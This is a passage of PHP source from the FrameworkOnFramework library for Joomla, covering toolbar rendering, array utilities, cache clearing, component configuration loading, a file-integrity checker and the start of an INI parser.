/**
* Automatically detects all views of the component
*
* @return array A list of all views, in the order to be displayed in
the toolbar submenu
*/
protected function getMyViews()
{
$views = array();
$t_views = array();
$using_meta = false;
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($this->component);
$searchPath = $componentPaths['main'] . '/views';
$filesystem =
FOFPlatform::getInstance()->getIntegrationObject('filesystem');
$allFolders = $filesystem->folderFolders($searchPath);
if (!empty($allFolders))
{
foreach ($allFolders as $folder)
{
$view = $folder;
// View already added
if (in_array(FOFInflector::pluralize($view), $t_views))
{
continue;
}
// Do we have a 'skip.xml' file in there?
$files = $filesystem->folderFiles($searchPath . '/' .
$view, '^skip\.xml$');
if (!empty($files))
{
continue;
}
// Do we have extra information about this view? (ie. ordering)
$meta = $filesystem->folderFiles($searchPath . '/' .
$view, '^metadata\.xml$');
// Not found, do we have it inside the plural one?
if (!$meta)
{
$plural = FOFInflector::pluralize($view);
if (in_array($plural, $allFolders))
{
$view = $plural;
$meta = $filesystem->folderFiles($searchPath . '/' .
$view, '^metadata\.xml$');
}
}
if (!empty($meta))
{
$using_meta = true;
$xml = simplexml_load_file($searchPath . '/' . $view .
'/' . $meta[0]);
$order = (int) $xml->foflib->ordering;
}
else
{
// Next place. It's ok since the index are 0-based and count is
1-based
if (!isset($to_order))
{
$to_order = array();
}
$order = count($to_order);
}
$view = FOFInflector::pluralize($view);
$t_view = new stdClass;
$t_view->ordering = $order;
$t_view->view = $view;
$to_order[] = $t_view;
$t_views[] = $view;
}
}
FOFUtilsArray::sortObjects($to_order, 'ordering');
$views = FOFUtilsArray::getColumn($to_order, 'view');
// If not using the metadata file, let's put the cpanel view on top
if (!$using_meta)
{
$cpanel = array_search('cpanels', $views);
if ($cpanel !== false)
{
unset($views[$cpanel]);
array_unshift($views, 'cpanels');
}
}
return $views;
}
/**
* Return the front-end toolbar rendering flag
*
* @return boolean
*/
public function getRenderFrontendButtons()
{
return $this->renderFrontendButtons;
}
/**
* Return the front-end submenu rendering flag
*
* @return boolean
*/
public function getRenderFrontendSubmenu()
{
return $this->renderFrontendSubmenu;
}
/**
* Render the toolbar from the configuration.
*
* @param array $toolbar The toolbar definition
*
* @return void
*/
private function renderFromConfig(array $toolbar)
{
if (FOFPlatform::getInstance()->isBackend() ||
$this->renderFrontendSubmenu)
{
$this->renderSubmenu();
}
if (!FOFPlatform::getInstance()->isBackend() &&
!$this->renderFrontendButtons)
{
return;
}
// Render each element
foreach ($toolbar as $elementType => $elementAttributes)
{
$value = isset($elementAttributes['value']) ?
$elementAttributes['value'] : null;
$this->renderToolbarElement($elementType, $value,
$elementAttributes);
}
return;
}
/**
* Render a toolbar element.
*
* @param string $type The element type.
* @param mixed $value The element value.
* @param array $attributes The element attributes.
*
* @return void
*
* @codeCoverageIgnore
* @throws InvalidArgumentException
*/
private function renderToolbarElement($type, $value = null, array
$attributes = array())
{
switch ($type)
{
case 'title':
$icon = isset($attributes['icon']) ?
$attributes['icon'] : 'generic.png';
JToolbarHelper::title($value, $icon);
break;
case 'divider':
JToolbarHelper::divider();
break;
case 'custom':
$task = isset($attributes['task']) ?
$attributes['task'] : '';
$icon = isset($attributes['icon']) ?
$attributes['icon'] : '';
$iconOver = isset($attributes['icon_over']) ?
$attributes['icon_over'] : '';
$alt = isset($attributes['alt']) ?
$attributes['alt'] : '';
$listSelect = isset($attributes['list_select']) ?
FOFStringUtils::toBool($attributes['list_select']) : true;
JToolbarHelper::custom($task, $icon, $iconOver, $alt, $listSelect);
break;
case 'preview':
$url = isset($attributes['url']) ?
$attributes['url'] : '';
$update_editors = isset($attributes['update_editors']) ?
FOFStringUtils::toBool($attributes['update_editors']) :
false;
JToolbarHelper::preview($url, $update_editors);
break;
case 'help':
if (!isset($attributes['help']))
{
throw new InvalidArgumentException(
'The help attribute is missing in the help button type.'
);
}
$ref = $attributes['help'];
$com = isset($attributes['com']) ?
FOFStringUtils::toBool($attributes['com']) : false;
$override = isset($attributes['override']) ?
$attributes['override'] : null;
$component = isset($attributes['component']) ?
$attributes['component'] : null;
JToolbarHelper::help($ref, $com, $override, $component);
break;
case 'back':
$alt = isset($attributes['alt']) ?
$attributes['alt'] : 'JTOOLBAR_BACK';
$href = isset($attributes['href']) ?
$attributes['href'] : 'javascript:history.back();';
JToolbarHelper::back($alt, $href);
break;
case 'media_manager':
$directory = isset($attributes['directory']) ?
$attributes['directory'] : '';
$alt = isset($attributes['alt']) ?
$attributes['alt'] : 'JTOOLBAR_UPLOAD';
JToolbarHelper::media_manager($directory, $alt);
break;
case 'assign':
$task = isset($attributes['task']) ?
$attributes['task'] : 'assign';
$alt = isset($attributes['alt']) ?
$attributes['alt'] : 'JTOOLBAR_ASSIGN';
JToolbarHelper::assign($task, $alt);
break;
case 'new':
if ($this->perms->create)
{
$task = isset($attributes['task']) ?
$attributes['task'] : 'add';
$alt = isset($attributes['alt']) ?
$attributes['alt'] : 'JTOOLBAR_NEW';
$check = isset($attributes['check']) ?
FOFStringUtils::toBool($attributes['check']) : false;
JToolbarHelper::addNew($task, $alt, $check);
}
break;
case 'publish':
if ($this->perms->editstate)
{
$task = isset($attributes['task']) ?
$attributes['task'] : 'publish';
$alt = isset($attributes['alt']) ?
$attributes['alt'] : 'JTOOLBAR_PUBLISH';
$check = isset($attributes['check']) ?
FOFStringUtils::toBool($attributes['check']) : false;
JToolbarHelper::publish($task, $alt, $check);
}
break;
case 'publishList':
if ($this->perms->editstate)
{
$task = isset($attributes['task']) ?
$attributes['task'] : 'publish';
$alt = isset($attributes['alt']) ?
$attributes['alt'] : 'JTOOLBAR_PUBLISH';
JToolbarHelper::publishList($task, $alt);
}
break;
case 'unpublish':
if ($this->perms->editstate)
{
$task = isset($attributes['task']) ?
$attributes['task'] : 'unpublish';
$alt = isset($attributes['alt']) ?
$attributes['alt'] : 'JTOOLBAR_UNPUBLISH';
$check = isset($attributes['check']) ?
FOFStringUtils::toBool($attributes['check']) : false;
JToolbarHelper::unpublish($task, $alt, $check);
}
break;
case 'unpublishList':
if ($this->perms->editstate)
{
$task = isset($attributes['task']) ?
$attributes['task'] : 'unpublish';
$alt = isset($attributes['alt']) ?
$attributes['alt'] : 'JTOOLBAR_UNPUBLISH';
JToolbarHelper::unpublishList($task, $alt);
}
break;
case 'archiveList':
if ($this->perms->editstate)
{
$task = isset($attributes['task']) ?
$attributes['task'] : 'archive';
$alt = isset($attributes['alt']) ?
$attributes['alt'] : 'JTOOLBAR_ARCHIVE';
JToolbarHelper::archiveList($task, $alt);
}
break;
case 'unarchiveList':
if ($this->perms->editstate)
{
$task = isset($attributes['task']) ?
$attributes['task'] : 'unarchive';
$alt = isset($attributes['alt']) ?
$attributes['alt'] : 'JTOOLBAR_UNARCHIVE';
JToolbarHelper::unarchiveList($task, $alt);
}
break;
case 'editList':
if ($this->perms->edit)
{
$task = isset($attributes['task']) ?
$attributes['task'] : 'edit';
$alt = isset($attributes['alt']) ?
$attributes['alt'] : 'JTOOLBAR_EDIT';
JToolbarHelper::editList($task, $alt);
}
break;
case 'editHtml':
$task = isset($attributes['task']) ?
$attributes['task'] : 'edit_source';
$alt = isset($attributes['alt']) ?
$attributes['alt'] : 'JTOOLBAR_EDIT_HTML';
JToolbarHelper::editHtml($task, $alt);
break;
case 'editCss':
$task = isset($attributes['task']) ?
$attributes['task'] : 'edit_css';
$alt = isset($attributes['alt']) ?
$attributes['alt'] : 'JTOOLBAR_EDIT_CSS';
JToolbarHelper::editCss($task, $alt);
break;
case 'deleteList':
if ($this->perms->delete)
{
$msg = isset($attributes['msg']) ?
$attributes['msg'] : '';
$task = isset($attributes['task']) ?
$attributes['task'] : 'remove';
$alt = isset($attributes['alt']) ?
$attributes['alt'] : 'JTOOLBAR_DELETE';
JToolbarHelper::deleteList($msg, $task, $alt);
}
break;
case 'trash':
if ($this->perms->editstate)
{
$task = isset($attributes['task']) ?
$attributes['task'] : 'remove';
$alt = isset($attributes['alt']) ?
$attributes['alt'] : 'JTOOLBAR_TRASH';
$check = isset($attributes['check']) ?
FOFStringUtils::toBool($attributes['check']) : true;
JToolbarHelper::trash($task, $alt, $check);
}
break;
case 'apply':
$task = isset($attributes['task']) ?
$attributes['task'] : 'apply';
$alt = isset($attributes['alt']) ?
$attributes['alt'] : 'JTOOLBAR_APPLY';
JToolbarHelper::apply($task, $alt);
break;
case 'save':
$task = isset($attributes['task']) ?
$attributes['task'] : 'save';
$alt = isset($attributes['alt']) ?
$attributes['alt'] : 'JTOOLBAR_SAVE';
JToolbarHelper::save($task, $alt);
break;
case 'save2new':
$task = isset($attributes['task']) ?
$attributes['task'] : 'save2new';
$alt = isset($attributes['alt']) ?
$attributes['alt'] : 'JTOOLBAR_SAVE_AND_NEW';
JToolbarHelper::save2new($task, $alt);
break;
case 'save2copy':
$task = isset($attributes['task']) ?
$attributes['task'] : 'save2copy';
$alt = isset($attributes['alt']) ?
$attributes['alt'] : 'JTOOLBAR_SAVE_AS_COPY';
JToolbarHelper::save2copy($task, $alt);
break;
case 'checkin':
$task = isset($attributes['task']) ?
$attributes['task'] : 'checkin';
$alt = isset($attributes['alt']) ?
$attributes['alt'] :'JTOOLBAR_CHECKIN';
$check = isset($attributes['check']) ?
FOFStringUtils::toBool($attributes['check']) : true;
JToolbarHelper::checkin($task, $alt, $check);
break;
case 'cancel':
$task = isset($attributes['task']) ?
$attributes['task'] : 'cancel';
$alt = isset($attributes['alt']) ?
$attributes['alt'] : 'JTOOLBAR_CANCEL';
JToolbarHelper::cancel($task, $alt);
break;
case 'preferences':
if (!isset($attributes['component']))
{
throw new InvalidArgumentException(
'The component attribute is missing in the preferences button
type.'
);
}
$component = $attributes['component'];
$height = isset($attributes['height']) ?
$attributes['height'] : '550';
$width = isset($attributes['width']) ?
$attributes['width'] : '875';
$alt = isset($attributes['alt']) ?
$attributes['alt'] : 'JToolbar_Options';
$path = isset($attributes['path']) ?
$attributes['path'] : '';
JToolbarHelper::preferences($component, $height, $width, $alt, $path);
break;
default:
throw new InvalidArgumentException(sprintf('Unknown button type
%s', $type));
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('FOF_INCLUDED') or die;
/**
* A utility class to handle array manipulation.
*
* Based on the JArrayHelper class as found in Joomla! 3.2.0
*/
abstract class FOFUtilsArray
{
/**
* Option to perform case-sensitive sorts.
*
* @var mixed Boolean or array of booleans.
*/
protected static $sortCase;
/**
* Option to set the sort direction.
*
* @var mixed Integer or array of integers.
*/
protected static $sortDirection;
/**
* Option to set the object key to sort on.
*
* @var string
*/
protected static $sortKey;
/**
* Option to perform a language aware sort.
*
* @var mixed Boolean or array of booleans.
*/
protected static $sortLocale;
/**
* Function to convert array to integer values
*
* @param array &$array The source array to convert
* @param mixed $default A default value (int|array) to assign if
$array is not an array
*
* @return void
*/
public static function toInteger(&$array, $default = null)
{
if (is_array($array))
{
foreach ($array as $i => $v)
{
$array[$i] = (int) $v;
}
}
else
{
if ($default === null)
{
$array = array();
}
elseif (is_array($default))
{
self::toInteger($default, null);
$array = $default;
}
else
{
$array = array((int) $default);
}
}
}
/**
* Utility function to map an array to a stdClass object.
*
* @param array &$array The array to map.
* @param string $class Name of the class to create
*
* @return object The object mapped from the given array
*/
public static function toObject(&$array, $class =
'stdClass')
{
$obj = null;
if (is_array($array))
{
$obj = new $class;
foreach ($array as $k => $v)
{
if (is_array($v))
{
$obj->$k = self::toObject($v, $class);
}
else
{
$obj->$k = $v;
}
}
}
return $obj;
}
/**
* Utility function to map an array to a string.
*
* @param array $array The array to map.
* @param string $inner_glue The glue (optional, defaults to
'=') between the key and the value.
* @param string $outer_glue The glue (optional, defaults to '
') between array elements.
* @param boolean $keepOuterKey True if final key should be kept.
*
* @return string The string mapped from the given array
*/
public static function toString($array = null, $inner_glue =
'=', $outer_glue = ' ', $keepOuterKey = false)
{
$output = array();
if (is_array($array))
{
foreach ($array as $key => $item)
{
if (is_array($item))
{
if ($keepOuterKey)
{
$output[] = $key;
}
// This is value is an array, go and do it again!
$output[] = self::toString($item, $inner_glue, $outer_glue,
$keepOuterKey);
}
else
{
$output[] = $key . $inner_glue . '"' . $item .
'"';
}
}
}
return implode($outer_glue, $output);
}
/**
* Utility function to map an object to an array
*
* @param object $p_obj The source object
* @param boolean $recurse True to recurse through multi-level objects
* @param string $regex An optional regular expression to match on
field names
*
* @return array The array mapped from the given object
*/
public static function fromObject($p_obj, $recurse = true, $regex = null)
{
if (is_object($p_obj))
{
return self::_fromObject($p_obj, $recurse, $regex);
}
else
{
return null;
}
}
/**
* Utility function to map an object or array to an array
*
* @param mixed $item The source object or array
* @param boolean $recurse True to recurse through multi-level objects
* @param string $regex An optional regular expression to match on
field names
*
* @return array The array mapped from the given object
*/
protected static function _fromObject($item, $recurse, $regex)
{
if (is_object($item))
{
$result = array();
foreach (get_object_vars($item) as $k => $v)
{
if (!$regex || preg_match($regex, $k))
{
if ($recurse)
{
$result[$k] = self::_fromObject($v, $recurse, $regex);
}
else
{
$result[$k] = $v;
}
}
}
}
elseif (is_array($item))
{
$result = array();
foreach ($item as $k => $v)
{
$result[$k] = self::_fromObject($v, $recurse, $regex);
}
}
else
{
$result = $item;
}
return $result;
}
/**
* Extracts a column from an array of arrays or objects
*
* @param array &$array The source array
* @param string $index The index of the column or name of object
property
*
* @return array Column of values from the source array
*/
public static function getColumn(&$array, $index)
{
$result = array();
if (is_array($array))
{
foreach ($array as &$item)
{
if (is_array($item) && isset($item[$index]))
{
$result[] = $item[$index];
}
elseif (is_object($item) && isset($item->$index))
{
$result[] = $item->$index;
}
// Else ignore the entry
}
}
return $result;
}
/**
* Utility function to return a value from a named array or a specified
default
*
* @param array &$array A named array
* @param string $name The key to search for
* @param mixed $default The default value to give if no key found
* @param string $type Return type for the variable (INT, FLOAT,
STRING, WORD, BOOLEAN, ARRAY)
*
* @return mixed The value from the source array
*/
public static function getValue(&$array, $name, $default = null, $type
= '')
{
$result = null;
if (isset($array[$name]))
{
$result = $array[$name];
}
// Handle the default case
if (is_null($result))
{
$result = $default;
}
// Handle the type constraint
switch (strtoupper($type))
{
case 'INT':
case 'INTEGER':
// Only use the first integer value
@preg_match('/-?[0-9]+/', $result, $matches);
$result = @(int) $matches[0];
break;
case 'FLOAT':
case 'DOUBLE':
// Only use the first floating point value
@preg_match('/-?[0-9]+(\.[0-9]+)?/', $result, $matches);
$result = @(float) $matches[0];
break;
case 'BOOL':
case 'BOOLEAN':
$result = (bool) $result;
break;
case 'ARRAY':
if (!is_array($result))
{
$result = array($result);
}
break;
case 'STRING':
$result = (string) $result;
break;
case 'WORD':
$result = (string) preg_replace('#\W#', '',
$result);
break;
case 'NONE':
default:
// No casting necessary
break;
}
return $result;
}
/**
* Takes an associative array of arrays and inverts the array keys to
values using the array values as keys.
*
* Example:
* $input = array(
* 'New' => array('1000', '1500',
'1750'),
* 'Used' => array('3000', '4000',
'5000', '6000')
* );
* $output = FOFUtilsArray::invert($input);
*
* Output would be equal to:
* $output = array(
* '1000' => 'New',
* '1500' => 'New',
* '1750' => 'New',
* '3000' => 'Used',
* '4000' => 'Used',
* '5000' => 'Used',
* '6000' => 'Used'
* );
*
* @param array $array The source array.
*
* @return array The inverted array.
*/
public static function invert($array)
{
$return = array();
foreach ($array as $base => $values)
{
if (!is_array($values))
{
continue;
}
foreach ($values as $key)
{
// If the key isn't scalar then ignore it.
if (is_scalar($key))
{
$return[$key] = $base;
}
}
}
return $return;
}
/**
* Method to determine if an array is an associative array.
*
* @param array $array An array to test.
*
* @return boolean True if the array is an associative array.
*/
public static function isAssociative($array)
{
if (is_array($array))
{
foreach (array_keys($array) as $k => $v)
{
if ($k !== $v)
{
return true;
}
}
}
return false;
}
/**
* Pivots an array to create a reverse lookup of an array of scalars,
arrays or objects.
*
* @param array $source The source array.
* @param string $key Where the elements of the source array are
objects or arrays, the key to pivot on.
*
* @return array An array of arrays pivoted either on the value of the
keys, or an individual key of an object or array.
*/
public static function pivot($source, $key = null)
{
$result = array();
$counter = array();
foreach ($source as $index => $value)
{
// Determine the name of the pivot key, and its value.
if (is_array($value))
{
// If the key does not exist, ignore it.
if (!isset($value[$key]))
{
continue;
}
$resultKey = $value[$key];
$resultValue = &$source[$index];
}
elseif (is_object($value))
{
// If the key does not exist, ignore it.
if (!isset($value->$key))
{
continue;
}
$resultKey = $value->$key;
$resultValue = &$source[$index];
}
else
{
// Just a scalar value.
$resultKey = $value;
$resultValue = $index;
}
// The counter tracks how many times a key has been used.
if (empty($counter[$resultKey]))
{
// The first time around we just assign the value to the key.
$result[$resultKey] = $resultValue;
$counter[$resultKey] = 1;
}
elseif ($counter[$resultKey] == 1)
{
// If there is a second time, we convert the value into an array.
$result[$resultKey] = array(
$result[$resultKey],
$resultValue,
);
$counter[$resultKey]++;
}
else
{
// After the second time, no need to track any more. Just append to the
existing array.
$result[$resultKey][] = $resultValue;
}
}
unset($counter);
return $result;
}
/**
* Utility function to sort an array of objects on a given field
*
* @param array &$a An array of objects
* @param mixed $k The key (string) or a array of key to
sort on
* @param mixed $direction Direction (integer) or an array of
direction to sort in [1 = Ascending] [-1 = Descending]
* @param mixed $caseSensitive Boolean or array of booleans to let
sort occur case sensitive or insensitive
* @param mixed $locale Boolean or array of booleans to let
sort occur using the locale language or not
*
* @return array The sorted array of objects
*/
public static function sortObjects(&$a, $k, $direction = 1,
$caseSensitive = true, $locale = false)
{
if (!is_array($locale) || !is_array($locale[0]))
{
$locale = array($locale);
}
self::$sortCase = (array) $caseSensitive;
self::$sortDirection = (array) $direction;
self::$sortKey = (array) $k;
self::$sortLocale = $locale;
usort($a, array(__CLASS__, '_sortObjects'));
self::$sortCase = null;
self::$sortDirection = null;
self::$sortKey = null;
self::$sortLocale = null;
return $a;
}
/**
* Callback function for sorting an array of objects on a key
*
* @param array &$a An array of objects
* @param array &$b An array of objects
*
* @return integer Comparison status
*
* @see FOFUtilsArray::sortObjects()
*/
protected static function _sortObjects(&$a, &$b)
{
$key = self::$sortKey;
for ($i = 0, $count = count($key); $i < $count; $i++)
{
if (isset(self::$sortDirection[$i]))
{
$direction = self::$sortDirection[$i];
}
if (isset(self::$sortCase[$i]))
{
$caseSensitive = self::$sortCase[$i];
}
if (isset(self::$sortLocale[$i]))
{
$locale = self::$sortLocale[$i];
}
$va = $a->{$key[$i]};
$vb = $b->{$key[$i]};
if ((is_bool($va) || is_numeric($va)) && (is_bool($vb) ||
is_numeric($vb)))
{
$cmp = $va - $vb;
}
elseif ($caseSensitive)
{
$cmp = JString::strcmp($va, $vb, $locale);
}
else
{
$cmp = JString::strcasecmp($va, $vb, $locale);
}
if ($cmp > 0)
{
return $direction;
}
if ($cmp < 0)
{
return -$direction;
}
}
return 0;
}
/**
* Multidimensional array safe unique test
*
* @param array $myArray The array to make unique.
*
* @return array
*
* @see http://php.net/manual/en/function.array-unique.php
*/
public static function arrayUnique($myArray)
{
if (!is_array($myArray))
{
return $myArray;
}
foreach ($myArray as &$myvalue)
{
$myvalue = serialize($myvalue);
}
$myArray = array_unique($myArray);
foreach ($myArray as &$myvalue)
{
$myvalue = unserialize($myvalue);
}
return $myArray;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('FOF_INCLUDED') or die;
/**
* A utility class to help you quickly clean the Joomla! cache
*/
class FOFUtilsCacheCleaner
{
/**
* Clears the com_modules and com_plugins cache. You need to call this
whenever you alter the publish state or
* parameters of a module or plugin from your code.
*
* @return void
*/
public static function clearPluginsAndModulesCache()
{
self::clearPluginsCache();
self::clearModulesCache();
}
/**
* Clears the com_plugins cache. You need to call this whenever you alter
the publish state or parameters of a
* plugin from your code.
*
* @return void
*/
public static function clearPluginsCache()
{
self::clearCacheGroups(array('com_plugins'), array(0,1));
}
/**
* Clears the com_modules cache. You need to call this whenever you alter
the publish state or parameters of a
* module from your code.
*
* @return void
*/
public static function clearModulesCache()
{
self::clearCacheGroups(array('com_modules'), array(0,1));
}
/**
* Clears the specified cache groups.
*
* @param array $clearGroups Which cache groups to clear. Usually
this is com_yourcomponent to clear your
* component's cache.
* @param array $cacheClients Which cache clients to clear. 0 is the
back-end, 1 is the front-end. If you do not
* specify anything, both cache clients
will be cleared.
*
* @return void
*/
public static function clearCacheGroups(array $clearGroups, array
$cacheClients = array(0, 1))
{
$conf = JFactory::getConfig();
foreach ($clearGroups as $group)
{
foreach ($cacheClients as $client_id)
{
try
{
$options = array(
'defaultgroup' => $group,
'cachebase' => ($client_id) ? JPATH_ADMINISTRATOR .
'/cache' : $conf->get('cache_path', JPATH_SITE .
'/cache')
);
$cache = JCache::getInstance('callback', $options);
$cache->clean();
}
catch (Exception $e)
{
// suck it up
}
}
}
}
} <?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('FOF_INCLUDED') or die;
/**
* A utility class to help you fetch component parameters without going
through JComponentHelper
*/
class FOFUtilsConfigHelper
{
/**
* Caches the component parameters without going through JComponentHelper.
This is necessary since JComponentHelper
* cannot be reset or updated once you update parameters in the database.
*
* @var array
*/
private static $componentParams = array();
/**
* Loads the component's configuration parameters so they can be
accessed by getComponentConfigurationValue
*
* @param string $component The component for loading the parameters
* @param bool $force Should I force-reload the configuration
information?
*/
public final static function loadComponentConfig($component, $force =
false)
{
if (isset(self::$componentParams[$component]) &&
!is_null(self::$componentParams[$component]) && !$force)
{
return;
}
$db = FOFPlatform::getInstance()->getDbo();
$sql = $db->getQuery(true)
->select($db->qn('params'))
->from($db->qn('#__extensions'))
->where($db->qn('type') . ' = ' .
$db->q('component'))
->where($db->qn('element') . " = " .
$db->q($component));
$db->setQuery($sql);
$config_ini = $db->loadResult();
// OK, Joomla! 1.6 stores values JSON-encoded so, what do I do? Right!
$config_ini = trim($config_ini);
if ((substr($config_ini, 0, 1) == '{') &&
substr($config_ini, -1) == '}')
{
$config_ini = json_decode($config_ini, true);
}
else
{
$config_ini = FOFUtilsIniParser::parse_ini_file($config_ini, false,
true);
}
if (is_null($config_ini) || empty($config_ini))
{
$config_ini = array();
}
self::$componentParams[$component] = $config_ini;
}
/**
* Retrieves the value of a component configuration parameter without
going through JComponentHelper
*
* @param string $component The component for loading the parameter
value
* @param string $key The key to retrieve
* @param mixed $default The default value to use in case the key
is missing
*
* @return mixed
*/
public final static function getComponentConfigurationValue($component,
$key, $default = null)
{
self::loadComponentConfig($component, false);
if (array_key_exists($key, self::$componentParams[$component]))
{
return self::$componentParams[$component][$key];
}
else
{
return $default;
}
}
} <?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('FOF_INCLUDED') or die;
/**
* A utility class to check that your extension's files are not
missing and have not been tampered with.
*
* You need a file called fileslist.php in your component's
administrator root directory with the following contents:
*
* $phpFileChecker = array(
* 'version' => 'revCEE2DAB',
* 'date' => '2014-10-16',
* 'directories' => array(
* 'administrator/components/com_foobar',
* ....
* ),
* 'files' => array(
* 'administrator/components/com_foobar/access.xml' =>
array('705', '09aa0351a316bf011ecc8c1145134761',
'b95f00c7b49a07a60570dc674f2497c45c4e7152'),
* ....
* )
* );
*
* All directory and file paths are relative to the site's root
*
* The directories array is a list of
*/
class FOFUtilsFilescheck
{
/** @var string The name of the component */
protected $option = '';
/** @var string Current component version */
protected $version = null;
/** @var string Current component release date */
protected $date = null;
/** @var array List of files to check as filepath => (filesize, md5,
sha1) */
protected $fileList = array();
/** @var array List of directories to check that exist */
protected $dirList = array();
/** @var bool Is the reported component version different than the version
of the #__extensions table? */
protected $wrongComponentVersion = false;
/** @var bool Is the fileslist.php reporting a version different than the
reported component version? */
protected $wrongFilesVersion = false;
/**
* Create and initialise the object
*
* @param string $option Component name, e.g. com_foobar
* @param string $version The current component version, as reported by
the component
* @param string $date The current component release date, as reported by
the component
*/
public function __construct($option, $version, $date)
{
// Initialise from parameters
$this->option = $option;
$this->version = $version;
$this->date = $date;
// Retrieve the date and version from the #__extensions table
$db = FOFPlatform::getInstance()->getDbo();
$query =
$db->getQuery(true)->select('*')->from($db->qn('#__extensions'))
->where($db->qn('element') . ' = ' .
$db->q($this->option))
->where($db->qn('type') . ' = ' .
$db->q('component'));
$extension = $db->setQuery($query)->loadObject();
// Check the version and date against those from #__extensions. I hate
heavily nested IFs as much as the next
// guy, but what can you do...
if (!is_null($extension))
{
$manifestCache = $extension->manifest_cache;
if (!empty($manifestCache))
{
$manifestCache = json_decode($manifestCache, true);
if (is_array($manifestCache) &&
isset($manifestCache['creationDate']) &&
isset($manifestCache['version']))
{
// Make sure the fileslist.php version and date match the
component's version
if ($this->version != $manifestCache['version'])
{
$this->wrongComponentVersion = true;
}
if ($this->date != $manifestCache['creationDate'])
{
$this->wrongComponentVersion = true;
}
}
}
}
// Try to load the fileslist.php file from the component's back-end
root
$filePath = JPATH_ADMINISTRATOR . '/components/' .
$this->option . '/fileslist.php';
if (!file_exists($filePath))
{
return;
}
include $filePath;
// Make sure the fileslist.php version and date match the
component's version
if ($this->version != $phpFileChecker['version'])
{
$this->wrongFilesVersion = true;
}
if ($this->date != $phpFileChecker['date'])
{
$this->wrongFilesVersion = true;
}
// Initialise the files and directories lists
$this->fileList = $phpFileChecker['files'];
$this->dirList = $phpFileChecker['directories'];
}
/**
* Is the reported component version different than the version of the
#__extensions table?
*
* @return boolean
*/
public function isWrongComponentVersion()
{
return $this->wrongComponentVersion;
}
/**
* Is the fileslist.php reporting a version different than the reported
component version?
*
* @return boolean
*/
public function isWrongFilesVersion()
{
return $this->wrongFilesVersion;
}
/**
* Performs a fast check of file and folders. If even one of the
files/folders doesn't exist, or even one file has
* the wrong file size it will return false.
*
* @return bool False when there are mismatched files and directories
*/
public function fastCheck()
{
// Check that all directories exist
foreach ($this->dirList as $directory)
{
$directory = JPATH_ROOT . '/' . $directory;
if (!@is_dir($directory))
{
return false;
}
}
// Check that all files exist and have the right size
foreach ($this->fileList as $filePath => $fileData)
{
$filePath = JPATH_ROOT . '/' . $filePath;
if (!@file_exists($filePath))
{
return false;
}
$fileSize = @filesize($filePath);
if ($fileSize != $fileData[0])
{
return false;
}
}
return true;
}
/**
* Performs a slow, thorough check of all files and folders (including
MD5/SHA1 sum checks)
*
* @param int $idx The index from where to start
*
* @return array Progress report
*/
public function slowCheck($idx = 0)
{
$ret = array(
'done' => false,
'files' => array(),
'folders' => array(),
'idx' => $idx
);
$totalFiles = count($this->fileList);
$totalFolders = count($this->dirList);
$fileKeys = array_keys($this->fileList);
$timer = new FOFUtilsTimer(3.0, 75.0);
while ($timer->getTimeLeft() && (($idx < $totalFiles) ||
($idx < $totalFolders)))
{
if ($idx < $totalFolders)
{
$directory = JPATH_ROOT . '/' . $this->dirList[$idx];
if (!@is_dir($directory))
{
$ret['folders'][] = $directory;
}
}
if ($idx < $totalFiles)
{
$fileKey = $fileKeys[$idx];
$filePath = JPATH_ROOT . '/' . $fileKey;
$fileData = $this->fileList[$fileKey];
if (!@file_exists($filePath))
{
$ret['files'][] = $fileKey . ' (missing)';
}
elseif (@filesize($filePath) != $fileData[0])
{
$ret['files'][] = $fileKey . ' (size ' .
@filesize($filePath) . ' ≠' . $fileData[0] . ')';
}
else
{
if (function_exists('sha1_file'))
{
$fileSha1 = @sha1_file($filePath);
if ($fileSha1 != $fileData[2])
{
$ret['files'][] = $fileKey . ' (SHA1 ' .
$fileSha1 . ' ≠' . $fileData[2] . ')';
}
}
elseif (function_exists('md5_file'))
{
$fileMd5 = @md5_file($filePath);
if ($fileMd5 != $fileData[1])
{
$ret['files'][] = $fileKey . ' (MD5 ' . $fileMd5
. ' ≠' . $fileData[1] . ')';
}
}
}
}
$idx++;
}
if (($idx >= $totalFiles) && ($idx >= $totalFolders))
{
$ret['done'] = true;
}
$ret['idx'] = $idx;
return $ret;
}
}<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
defined('FOF_INCLUDED') or die;
/**
* A utility class to parse INI files. This monstrosity is only required
because some impossibly misguided individuals
* who misrepresent themselves as hosts have disabled PHP's
parse_ini_file() function for "security reasons". Apparently
* their blatant ignorance doesn't allow them to discern between the
innocuous parse_ini_file and the _potentially_
* dangerous ini_set functions, leading them to disable the former and let
the latter enabled. In other words, THIS
* CLASS IS HERE TO FIX STUPID.
*/
class FOFUtilsIniParser
{
/**
* Parse an INI file and return an associative array.
*
* @param string $file The file to process
* @param bool $process_sections True to also process INI sections
*
* @return array An associative array of sections, keys and values
*/
public static function parse_ini_file($file, $process_sections, $rawdata =
false)
{
$isMoronHostFile = !function_exists('parse_ini_file');
$isMoronHostString = !function_exists('parse_ini_string');
if ($rawdata)
{
if ($isMoronHostString)
{
return self::parse_ini_file_php($file, $process_sections, $rawdata);
}
else
{
return parse_ini_string($file, $process_sections);
}
}
else
{
if ($isMoronHostFile)
{
return self::parse_ini_file_php($file, $process_sections);
}
else
{
return parse_ini_file($file, $process_sections);
}
}
}
/**
* A PHP based INI file parser.
*
